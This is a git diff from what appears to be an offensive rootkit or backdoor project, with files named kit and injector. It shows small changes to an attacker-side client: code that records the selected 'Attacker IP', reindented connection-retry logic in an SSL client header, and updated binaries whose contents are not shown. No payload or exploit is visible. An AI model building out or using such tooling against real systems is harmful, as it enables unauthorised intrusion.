diff --git a/src/.output/kit.o b/src/.output/kit.o index e8ea59f..e909174 100644 Binary files a/src/.output/kit.o and b/src/.output/kit.o differ diff --git a/src/bin/kit b/src/bin/kit index 5e4eec1..64dcabe 100755 Binary files a/src/bin/kit and b/src/bin/kit differ diff --git a/src/client/client.c b/src/client/client.c index b4f3aa8..014a294 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -118,6 +118,7 @@ char* getLocalIpAddress(){ if(strcmp(ifa->ifa_name, buf)==0){ //Interface we chose printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s (%s)\n", ifa->ifa_name, host); + strcpy(IPbuffer, host); return IPbuffer; } } diff --git a/src/client/client.o b/src/client/client.o index 035f03d..bdca6db 100644 Binary files a/src/client/client.o and b/src/client/client.o differ diff --git a/src/client/injector b/src/client/injector index b524aee..2e2b9a2 100755 Binary files a/src/client/injector and b/src/client/injector differ diff --git a/src/user/include/utils/network/ssl_client.h b/src/user/include/utils/network/ssl_client.h index f821b3e..be66705 100644 --- a/src/user/include/utils/network/ssl_client.h +++ b/src/user/include/utils/network/ssl_client.h @@ -10,6 +10,7 @@ #include #include #include +#include #define LOCAL_ABORT() \ do { \ @@ -79,21 +80,21 @@ int client_run(char *hostname, uint16_t portnum) { int conn_tries = 3; while (conn_tries >= 0) { if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) { - if (conn_tries > 1) { - conn_tries--; - printf("Failed to connect, trying again. Remaining tries: %i\n", - conn_tries); - sleep(1); - continue; - } - close(server); - perror(hostname); - fprintf(stderr, "Is the server running, and on the correct port (%d)?\n", - portnum); - LOCAL_ABORT(); + if (conn_tries > 1) { + conn_tries--; + printf("Failed to connect, trying again. Remaining tries: %i\n", + conn_tries); + sleep(1); + continue; + } + close(server); + perror(hostname); + fprintf(stderr, "Is the server running, and on the correct port (%d)?\n", + portnum); + LOCAL_ABORT(); } else { - // Connected - conn_tries = -1; + // Connected + conn_tries = -1; } }